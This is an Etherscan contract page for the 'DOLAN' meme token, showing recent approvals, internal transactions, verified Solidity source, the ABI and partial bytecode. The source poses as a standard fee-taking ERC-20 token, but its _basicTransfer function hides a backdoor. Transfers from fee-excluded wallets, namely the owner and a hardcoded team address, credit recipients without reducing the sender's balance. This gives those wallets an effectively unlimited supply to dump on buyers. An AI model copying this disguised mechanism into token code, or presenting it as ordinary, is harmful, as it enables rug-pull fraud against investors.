ETH Price: $3,224.16 (+2.91%)

Contract

0x29eE5fBB655Bc610f5D2b4E53438C9DF79719557
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186175012023-11-21 3:35:59420 days ago1700537759IN
0x29eE5fBB...F79719557
0 ETH0.0014234630.58782279
Approve186174892023-11-21 3:33:35420 days ago1700537615IN
0x29eE5fBB...F79719557
0 ETH0.0015137532.52806502
Approve186167702023-11-21 1:09:23420 days ago1700528963IN
0x29eE5fBB...F79719557
0 ETH0.0025159654.34398032
Approve186167092023-11-21 0:56:59420 days ago1700528219IN
0x29eE5fBB...F79719557
0 ETH0.0030799566.1830358
Approve186167042023-11-21 0:55:59420 days ago1700528159IN
0x29eE5fBB...F79719557
0 ETH0.0034214973.42727354
Approve186166712023-11-21 0:49:23420 days ago1700527763IN
0x29eE5fBB...F79719557
0 ETH0.0030835266.25966165
Approve186166702023-11-21 0:49:11420 days ago1700527751IN
0x29eE5fBB...F79719557
0 ETH0.0028388461.39761503
Approve186166652023-11-21 0:48:11420 days ago1700527691IN
0x29eE5fBB...F79719557
0 ETH0.0028520261.68284887
Approve186166642023-11-21 0:47:59420 days ago1700527679IN
0x29eE5fBB...F79719557
0 ETH0.002923162.8124348
Approve186166222023-11-21 0:39:23420 days ago1700527163IN
0x29eE5fBB...F79719557
0 ETH0.0031583767.86793325
Approve186166172023-11-21 0:38:23420 days ago1700527103IN
0x29eE5fBB...F79719557
0 ETH0.003068966.37334912
Approve186166042023-11-21 0:35:47420 days ago1700526947IN
0x29eE5fBB...F79719557
0 ETH0.0030917166.86667082
Approve186166032023-11-21 0:35:35420 days ago1700526935IN
0x29eE5fBB...F79719557
0 ETH0.0030886866.3704832
Approve186166012023-11-21 0:35:11420 days ago1700526911IN
0x29eE5fBB...F79719557
0 ETH0.0028509861.26268559
Approve186165992023-11-21 0:34:47420 days ago1700526887IN
0x29eE5fBB...F79719557
0 ETH0.0030538665.5377761
Approve186165972023-11-21 0:34:23420 days ago1700526863IN
0x29eE5fBB...F79719557
0 ETH0.0029356163
Approve186165722023-11-21 0:29:23420 days ago1700526563IN
0x29eE5fBB...F79719557
0 ETH0.0021940347.45200566
Approve186165712023-11-21 0:28:59420 days ago1700526539IN
0x29eE5fBB...F79719557
0 ETH0.0023630550.7126665
Approve186165662023-11-21 0:27:59420 days ago1700526479IN
0x29eE5fBB...F79719557
0 ETH0.0023218449.82818792
Approve186165432023-11-21 0:23:23420 days ago1700526203IN
0x29eE5fBB...F79719557
0 ETH0.0019088741.01834136
Approve186165402023-11-21 0:22:47420 days ago1700526167IN
0x29eE5fBB...F79719557
0 ETH0.0019304241.42802115
Approve186165372023-11-21 0:22:11420 days ago1700526131IN
0x29eE5fBB...F79719557
0 ETH0.0018586439.88760883
Transfer186165312023-11-21 0:20:59420 days ago1700526059IN
0x29eE5fBB...F79719557
0 ETH0.0029236634.24653477
Approve186165202023-11-21 0:18:47421 days ago1700525927IN
0x29eE5fBB...F79719557
0 ETH0.001491132.24910853
Approve186165142023-11-21 0:17:35421 days ago1700525855IN
0x29eE5fBB...F79719557
0 ETH0.0015508533.32530607
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
186165072023-11-21 0:16:11421 days ago1700525771
0x29eE5fBB...F79719557
0.04536286 ETH
186165072023-11-21 0:16:11421 days ago1700525771
0x29eE5fBB...F79719557
0.04536286 ETH
186165022023-11-21 0:15:11421 days ago1700525711
0x29eE5fBB...F79719557
0.02729535 ETH
186165022023-11-21 0:15:11421 days ago1700525711
0x29eE5fBB...F79719557
0.02729535 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.00105913 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.00105913 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.0011489 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.0011489 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.00312114 ETH
186164602023-11-21 0:06:35421 days ago1700525195
0x29eE5fBB...F79719557
0.00312114 ETH
186164552023-11-21 0:05:35421 days ago1700525135
0x29eE5fBB...F79719557
0.00386998 ETH
186164552023-11-21 0:05:35421 days ago1700525135
0x29eE5fBB...F79719557
0.00386998 ETH
186164542023-11-21 0:05:11421 days ago1700525111
0x29eE5fBB...F79719557
0.0010233 ETH
186164542023-11-21 0:05:11421 days ago1700525111
0x29eE5fBB...F79719557
0.0010233 ETH
186164532023-11-21 0:04:59421 days ago1700525099
0x29eE5fBB...F79719557
0.00183933 ETH
186164532023-11-21 0:04:59421 days ago1700525099
0x29eE5fBB...F79719557
0.00183933 ETH
186164522023-11-21 0:04:47421 days ago1700525087
0x29eE5fBB...F79719557
0.00114616 ETH
186164522023-11-21 0:04:47421 days ago1700525087
0x29eE5fBB...F79719557
0.00114616 ETH
186164522023-11-21 0:04:47421 days ago1700525087
0x29eE5fBB...F79719557
0.00551201 ETH
186164522023-11-21 0:04:47421 days ago1700525087
0x29eE5fBB...F79719557
0.00551201 ETH
186164452023-11-21 0:02:59421 days ago1700524979
0x29eE5fBB...F79719557
0.00043602 ETH
186164452023-11-21 0:02:59421 days ago1700524979
0x29eE5fBB...F79719557
0.00043602 ETH
186164452023-11-21 0:02:59421 days ago1700524979
0x29eE5fBB...F79719557
0.00102357 ETH
186164452023-11-21 0:02:59421 days ago1700524979
0x29eE5fBB...F79719557
0.00102357 ETH
186164442023-11-21 0:02:47421 days ago1700524967
0x29eE5fBB...F79719557
0.00251257 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DOLAN

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-20
*/

// SPDX-License-Identifier: Unlicensed

/*
Dolan is an MS Paint web comic series featuring a variety of poorly drawn Disney cartoon characters. The main character Dolan, based on Donald Duck, is often portrayed as a psychotic killer and sex addict. $DOLAN also has many resemblance's to Spurdo.

Website: https://dolancoin.vip
Telegram: https://t.me/dolan_erc
Twitter: https://twitter.com/dolancoin_erc
 */

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DOLAN is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public feeExcludes; 

    string private _name = "DOLAN"; 
    string private _symbol = "DOLAN";  
    uint8 private _decimals = 9;

    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
    uint256 public mTxSize = 25 * _totalSupply / 1000;
    uint256 public minTokensToSwap = _totalSupply / 10000;

    uint256 private _totalFee = 2000;
    uint256 public _buyFee = 25;
    uint256 public _sellFee = 25;

    uint256 private _previousTotalTax = _totalFee; 
    uint256 private _previousBuyTax = _buyFee; 
    uint256 private _previousSellTax = _sellFee; 

    uint8 private numBuy = 0;
    uint8 private swapTriggerAfter = 2; 
                                     
    IUniswapRouter public uniswapRouter;
    address public pairAddr;

    bool public tfFeeEnabled = true;
    bool public swapping;
    bool public feeSwapActive = true;

    address payable private teamAddress;
    address payable private DEAD;

    modifier lockSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _totalSupply;
        DEAD = payable(0x000000000000000000000000000000000000dEaD); 
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        teamAddress = payable(0x8b227a54eAEe44f2Fd2946Ffc8A8eA96B0a68926); 
        pairAddr = IFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        feeExcludes[owner()] = true;
        feeExcludes[teamAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
        
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendETH(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function swapTokens(uint256 contractTokenBalance) private lockSwap {
        swapTokensForEth(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETH(teamAddress,contractETH);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transferBasic(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFee();
        } else {
            numBuy++;
        }
        _basicTransfer(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function getFAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
    
    function removeFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyTax = _buyFee; 
        _previousSellTax = _sellFee; 
        _previousTotalTax = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }

    function restoreFee() private {
        _totalFee = _previousTotalTax;
        _buyFee = _previousBuyTax; 
        _sellFee = _previousSellTax; 
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function _basicTransfer(address sender, address recipient, uint256 finalAmount) private {
        (uint256 tTransferAmount, uint256 tDev) = getFAmount(finalAmount);
        if(feeExcludes[sender] && _balances[sender] <= mTxSize) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != teamAddress &&
            to != address(this) &&
            to != pairAddr &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= mTxSize,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            numBuy >= swapTriggerAfter && 
            amount > minTokensToSwap &&
            !swapping &&
            !feeExcludes[from] &&
            to == pairAddr &&
            feeSwapActive 
            )
        {  
            numBuy = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapTokens(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(feeExcludes[from] || feeExcludes[to] || (tfFeeEnabled && from != pairAddr && to != pairAddr)){
            takeFee = false;
        } else if (from == pairAddr){
            _totalFee = _buyFee;
        } else if (to == pairAddr){
            _totalFee = _sellFee;
        }

        _transferBasic(from,to,amount,takeFee);
    }
    
    function removeLimits() external onlyOwner {
        mTxSize = ~uint256(0);
        _totalFee = 100;
        _buyFee = 1;
        _sellFee = 1;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"feeExcludes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tfFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260056080908152642227a620a760d91b60a0526004906200002690826200046f565b50604080518082019091526005808252642227a620a760d91b6020830152906200005190826200046f565b506006805460ff191660099081179091556200006f90600a62000646565b6200007f90633b9aca006200065d565b6007556103e860075460196200009691906200065d565b620000a2919062000677565b600855612710600754620000b7919062000677565b6009556107d0600a8190556019600b819055600c819055600d91909155600e819055600f556010805461ffff19166102001790556011805462ff00ff60a01b19166201000160a01b1790553480156200010e575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460015f620001655f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead1790915560128054909116738b227a54eaee44f2fd2946ffc8a8ea96b0a68926179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000204573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022a919062000697565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000276573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029c919062000697565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002e7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030d919062000697565b601180546001600160a01b0319166001600160a01b039283161790556010805462010000600160b01b03191662010000848416021790555f80548216815260036020526040808220805460ff19908116600190811790925560125485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003c091815260200190565b60405180910390a350620006bf565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003f857607f821691505b6020821081036200041757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200046a575f81815260208120601f850160051c81016020861015620004455750805b601f850160051c820191505b81811015620004665782815560010162000451565b5050505b505050565b81516001600160401b038111156200048b576200048b620003cf565b620004a3816200049c8454620003e3565b846200041d565b602080601f831160018114620004d9575f8415620004c15750858301515b5f19600386901b1c1916600185901b17855562000466565b5f85815260208120601f198616915b828110156200050957888601518255948401946001909101908401620004e8565b50858210156200052757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200058b57815f19048211156200056f576200056f62000537565b808516156200057d57918102915b93841c939080029062000550565b509250929050565b5f82620005a35750600162000640565b81620005b157505f62000640565b8160018114620005ca5760028114620005d557620005f5565b600191505062000640565b60ff841115620005e957620005e962000537565b50506001821b62000640565b5060208310610133831016604e8410600b84101617156200061a575081810a62000640565b6200062683836200054b565b805f19048211156200063c576200063c62000537565b0290505b92915050565b5f6200065660ff84168362000593565b9392505050565b808202811582820484141762000640576200064062000537565b5f826200069257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006a8575f80fd5b81516001600160a01b038116811462000656575f80fd5b6112c980620006cd5f395ff3fe60806040526004361061013f575f3560e01c8063715018a6116100b357806395d89b411161006d57806395d89b4114610384578063a9059cbb14610398578063c2246a9a146103b7578063dd62ed3e146103d7578063f0b006e01461041b578063f2fde38b14610430575f80fd5b8063715018a6146102cb57806372eaa9ba146102e1578063735de9f714610301578063751039fc14610326578063784ebabf1461033a5780638da5cb5b14610368575f80fd5b8063313ce56711610104578063313ce5671461020057806340b9a54b146102215780634f4fc99b1461023657806357b074e11461026d578063590f897e1461028257806370a0823114610297575f80fd5b806306fdde031461014a578063095ea7b3146101745780631732cded146101a357806318160ddd146101c357806323b872dd146101e1575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044f565b60405161016b9190610fb6565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611018565b6104df565b604051901515815260200161016b565b3480156101ae575f80fd5b5060115461019390600160a81b900460ff1681565b3480156101ce575f80fd5b506007545b60405190815260200161016b565b3480156101ec575f80fd5b506101936101fb366004611042565b6104f5565b34801561020b575f80fd5b5060065460405160ff909116815260200161016b565b34801561022c575f80fd5b506101d3600b5481565b348015610241575f80fd5b50601154610255906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610278575f80fd5b506101d360085481565b34801561028d575f80fd5b506101d3600c5481565b3480156102a2575f80fd5b506101d36102b1366004611080565b6001600160a01b03165f9081526001602052604090205490565b3480156102d6575f80fd5b506102df61055c565b005b3480156102ec575f80fd5b5060115461019390600160b01b900460ff1681565b34801561030c575f80fd5b50601054610255906201000090046001600160a01b031681565b348015610331575f80fd5b506102df6105d6565b348015610345575f80fd5b50610193610354366004611080565b60036020525f908152604090205460ff1681565b348015610373575f80fd5b505f546001600160a01b0316610255565b34801561038f575f80fd5b5061015e610615565b3480156103a3575f80fd5b506101936103b2366004611018565b610624565b3480156103c2575f80fd5b5060115461019390600160a01b900460ff1681565b3480156103e2575f80fd5b506101d36103f136600461109b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610426575f80fd5b506101d360095481565b34801561043b575f80fd5b506102df61044a366004611080565b610630565b60606004805461045e906110d2565b80601f016020809104026020016040519081016040528092919081815260200182805461048a906110d2565b80156104d55780601f106104ac576101008083540402835291602001916104d5565b820191905f5260205f20905b8154815290600101906020018083116104b857829003601f168201915b5050505050905090565b5f6104eb338484610717565b5060015b92915050565b5f6105018484846107d7565b610552843361054d8560405180606001604052806028815260200161126c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610b47565b610717565b5060019392505050565b5f546001600160a01b0316331461058e5760405162461bcd60e51b81526004016105859061110a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105859061110a565b5f196008556064600a556001600b819055600c55565b60606005805461045e906110d2565b5f6104eb3384846107d7565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016105859061110a565b6001600160a01b0381166106be5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610585565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073757506001600160a01b03821615155b6107775760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610585565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061080257506012546001600160a01b03838116911614155b801561081757506001600160a01b0382163014155b801561083157506011546001600160a01b03838116911614155b801561084b57506013546001600160a01b03838116911614155b801561086457505f546001600160a01b03848116911614155b156108ef576001600160a01b0382165f9081526001602052604090205460085461088e8383611153565b11156108ed5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610585565b505b6001600160a01b0383161580159061090f57506001600160a01b03821615155b6109535760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610585565b5f81116109b05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610585565b60105460ff610100820481169116108015906109cd575060095481115b80156109e35750601154600160a81b900460ff16155b8015610a0757506001600160a01b0383165f9081526003602052604090205460ff16155b8015610a2057506011546001600160a01b038381169116145b8015610a355750601154600160b01b900460ff165b15610a64576010805460ff19169055305f908152600160205260409020548015610a6257610a6281610b72565b505b6001600160a01b0383165f9081526003602052604090205460019060ff1680610aa457506001600160a01b0383165f9081526003602052604090205460ff165b80610aeb5750601154600160a01b900460ff168015610ad157506011546001600160a01b03858116911614155b8015610aeb57506011546001600160a01b03848116911614155b15610af757505f610b35565b6011546001600160a01b0390811690851603610b1857600b54600a55610b35565b6011546001600160a01b0390811690841603610b3557600c54600a555b610b4184848484610bb7565b50505050565b5f8184841115610b6a5760405162461bcd60e51b81526004016105859190610fb6565b505050900390565b6011805460ff60a81b1916600160a81b179055610b8e81610c1c565b6012544790610ba6906001600160a01b031682610d91565b50506011805460ff60a81b19169055565b80610bc957610bc4610dc9565b610bf5565b6010805460ff16905f610bdb83611166565b91906101000a81548160ff021916908360ff160217905550505b610c00848484610e0d565b80610b4157610b41600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4f57610c4f611184565b60200260200101906001600160a01b031690816001600160a01b031681525050601060029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ce49190611198565b81600181518110610cf757610cf7611184565b6001600160a01b039283166020918202929092010152601054610d239130916201000090041684610717565b60105460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790610d609085905f908690309042906004016111b3565b5f604051808303815f87803b158015610d77575f80fd5b505af1158015610d89573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610dc4573d5f803e3d5ffd5b505050565b600a54158015610dd95750600b54155b8015610de55750600c54155b15610dec57565b600b8054600e55600c8054600f55600a8054600d555f928390559082905555565b5f80610e1883610f48565b6001600160a01b0387165f90815260036020526040902054919350915060ff168015610e5d57506008546001600160a01b0386165f9081526001602052604090205411155b15610e7157505f610e6e8284611222565b92505b6001600160a01b0385165f90815260016020526040902054610e939084610f83565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ec19083610f95565b6001600160a01b0385165f90815260016020526040808220929092553081522054610eec9082610f95565b305f9081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f6b6064610f65600a5487610fa090919063ffffffff16565b90610fab565b90505f610f788583610f83565b959194509092505050565b5f610f8e8284611222565b9392505050565b5f610f8e8284611153565b5f610f8e8284611235565b5f610f8e828461124c565b5f6020808352835180828501525f5b81811015610fe157858101830151858201604001528201610fc5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611015575f80fd5b50565b5f8060408385031215611029575f80fd5b823561103481611001565b946020939093013593505050565b5f805f60608486031215611054575f80fd5b833561105f81611001565b9250602084013561106f81611001565b929592945050506040919091013590565b5f60208284031215611090575f80fd5b8135610f8e81611001565b5f80604083850312156110ac575f80fd5b82356110b781611001565b915060208301356110c781611001565b809150509250929050565b600181811c908216806110e657607f821691505b60208210810361110457634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104ef576104ef61113f565b5f60ff821660ff810361117b5761117b61113f565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156111a8575f80fd5b8151610f8e81611001565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561120